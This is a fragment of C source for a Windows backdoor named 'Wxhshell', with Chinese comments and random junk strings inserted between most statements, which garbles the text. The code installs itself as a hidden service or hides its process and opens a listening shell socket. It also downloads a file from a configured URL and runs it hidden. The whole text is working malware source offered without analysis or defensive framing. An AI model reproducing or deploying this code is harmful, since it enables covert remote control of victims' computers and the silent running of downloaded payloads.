HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S~k 0@ if(NULL == hInst ) return 0; %9QMzz5 #5y9L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "B9[cDM& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &N"'7bK6n NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jB%"AvIX $AA~]'O>6: if (!NtQueryInformationProcess) return 0; >lraYMc<rZ `y^zM/Ib hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _oJ2]f6KX if(!hProcess) return 0; h"u<E\g KbwTj*k[ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
m%oGzx+ 2#AeN6\@ CloseHandle(hProcess); 7`blGzP_ }iua]
4| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9u?)vR[@e if(hProcess==NULL) return 0; NV}RRs =de<WoKnu2 HMODULE hMod; +z:CZ(fb
char procName[255]; b|sc'eP#? unsigned long cbNeeded; O->_/_ (ve+,H6w\ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]~ !XiCqu *?_qE CloseHandle(hProcess); ptV4s=G2 X~v4"|a if(strstr(procName,"services")) return 1; // 以服务启动 5c:'> IjG5X[@ return 0; // 注册表启动 1mJbQ#5 } tS\=<T ZjU=~)O}H // 主模块 GA|/7[I} int StartWxhshell(LPSTR lpCmdLine) JsmbW|t^ { ^uyN v-'F SOCKET wsl; E tJ~dL) BOOL val=TRUE; VLcyPM@"Q! int port=0; 0LWdJ($? struct sockaddr_in door; F+ffl^BQ ";PG%_( if(wscfg.ws_autoins) Install(); AH&9Nye8 >j50
;</ port=atoi(lpCmdLine); l^k+E-w\ Mjb 1 if(port<=0) port=wscfg.ws_port; p`>AnfG 3<c*v/L{C\ WSADATA data; [AXsnpa/C if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |EF>Y9
b/}'Vf[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a(8>n
Z,V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $brKl8P door.sin_family = AF_INET; 9v~1We;{$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bj@x$v#/^ door.sin_port = htons(port); <fNGhmL r_Lu~y| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { luW
<V> closesocket(wsl); ( "_Q return 1; 9[z'/U.Bn } /@&(P#h `$J'UXtGc if(listen(wsl,2) == INVALID_SOCKET) { / ^w"' ' closesocket(wsl); a*Rz<08 return 1; Ns'FH(: } l<:`~\# Wxhshell(wsl); "E.\6sC WSACleanup(); xM&EL>m>L 1'Nh jL return 0; o
g_Ri$x8 RNGO~:k?r } P,(9cyS{ ~\2;i]| // 以NT服务方式启动 r+o_t2_b* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X*0k>j { wi>DZkR DWORD status = 0; SijtTY#r DWORD specificError = 0xfffffff; dIma{uv /x$}D=(CZ serviceStatus.dwServiceType = SERVICE_WIN32; g{e/X~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 21U&Ww serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >yX/+p_ serviceStatus.dwWin32ExitCode = 0; P"b8!k? serviceStatus.dwServiceSpecificExitCode = 0; >GgE,h serviceStatus.dwCheckPoint = 0; bn $)f6% serviceStatus.dwWaitHint = 0; ,ohmc\*J 9+}cE**=d hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ri: ,q/- if (hServiceStatusHandle==0) return; '}_=kp'X )&>L !,z status = GetLastError(); q$F) !& if (status!=NO_ERROR) (}G!np { Ddb-@YD&+0 serviceStatus.dwCurrentState = SERVICE_STOPPED; ?fV?|ZGZI serviceStatus.dwCheckPoint = 0; {o( *
f serviceStatus.dwWaitHint = 0; G(3;;F7" serviceStatus.dwWin32ExitCode = status; )`^ /(YG serviceStatus.dwServiceSpecificExitCode = specificError; byafb+x SetServiceStatus(hServiceStatusHandle, &serviceStatus); kL|\wci return; rR\;G2p) } Hj2<ZL Hoj8okP serviceStatus.dwCurrentState = SERVICE_RUNNING; xWDR726 serviceStatus.dwCheckPoint = 0; n!ZMTcK8 serviceStatus.dwWaitHint = 0; mB~~_]M
N if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =LOk13l\" } vHS2q
> guU=NQZ // 处理NT服务事件,比如:启动、停止 $(3uOsy VOID WINAPI NTServiceHandler(DWORD fdwControl) sdrWOq { rS4%$p" switch(fdwControl) (Ux[[ { [,rn3C A case SERVICE_CONTROL_STOP: (Izf
L1 serviceStatus.dwWin32ExitCode = 0; %yfE7UPS] serviceStatus.dwCurrentState = SERVICE_STOPPED; ;`+`#h3-V serviceStatus.dwCheckPoint = 0; m^Glc?g< serviceStatus.dwWaitHint = 0; Ls1B\Aw _ { q(gjT^aN SetServiceStatus(hServiceStatusHandle, &serviceStatus); j1A|D
} !.*iw
k` return; 9p4y>3 case SERVICE_CONTROL_PAUSE: X &D{5~qC serviceStatus.dwCurrentState = SERVICE_PAUSED; NEw$q4 break; ~cIl$b case SERVICE_CONTROL_CONTINUE: "kU] serviceStatus.dwCurrentState = SERVICE_RUNNING; ytiyF2Kp break; o,1Dqg4P3 case SERVICE_CONTROL_INTERROGATE: 3
<9{v break; ~g7m3 }; <[ZI.+_Wt SetServiceStatus(hServiceStatusHandle, &serviceStatus); =G4u#t) } *1$ P_&p=${ // 标准应用程序主函数 ~@D/A/| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A@2Bs5F { e\D|
o?v U7h(-dV
// 获取操作系统版本 ?`H[u7*% OsIsNt=GetOsVer(); P#MK GetModuleFileName(NULL,ExeFile,MAX_PATH); &<Zdyf?[Ou QD$Gw-U-l= // 从命令行安装 FAw1o if(strpbrk(lpCmdLine,"iI")) Install(); hO
\/ s1bU // 下载执行文件 g5Hr7Km if(wscfg.ws_downexe) { /OG zt if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R&*@@F-dx WinExec(wscfg.ws_filenam,SW_HIDE); LTXz$Z] } w#9_eq|3 n'M>xq_ if(!OsIsNt) { 9 I{/zKq // 如果时win9x,隐藏进程并且设置为注册表启动 8Q=ZH=SQK HideProc(); :y1 Bt+Fp StartWxhshell(lpCmdLine); '1-maM\r } pawl|Z'Ez else aClA{ if(StartFromService()) g*J@[y; // 以服务方式启动 ~x#vZ=]8 StartServiceCtrlDispatcher(DispatchTable); Bd#
TUy else |55dbL$w // 普通方式启动 JNi=`X&A StartWxhshell(lpCmdLine); "}zt`3
q=4Bny0 return 0; Q|c|2byb }
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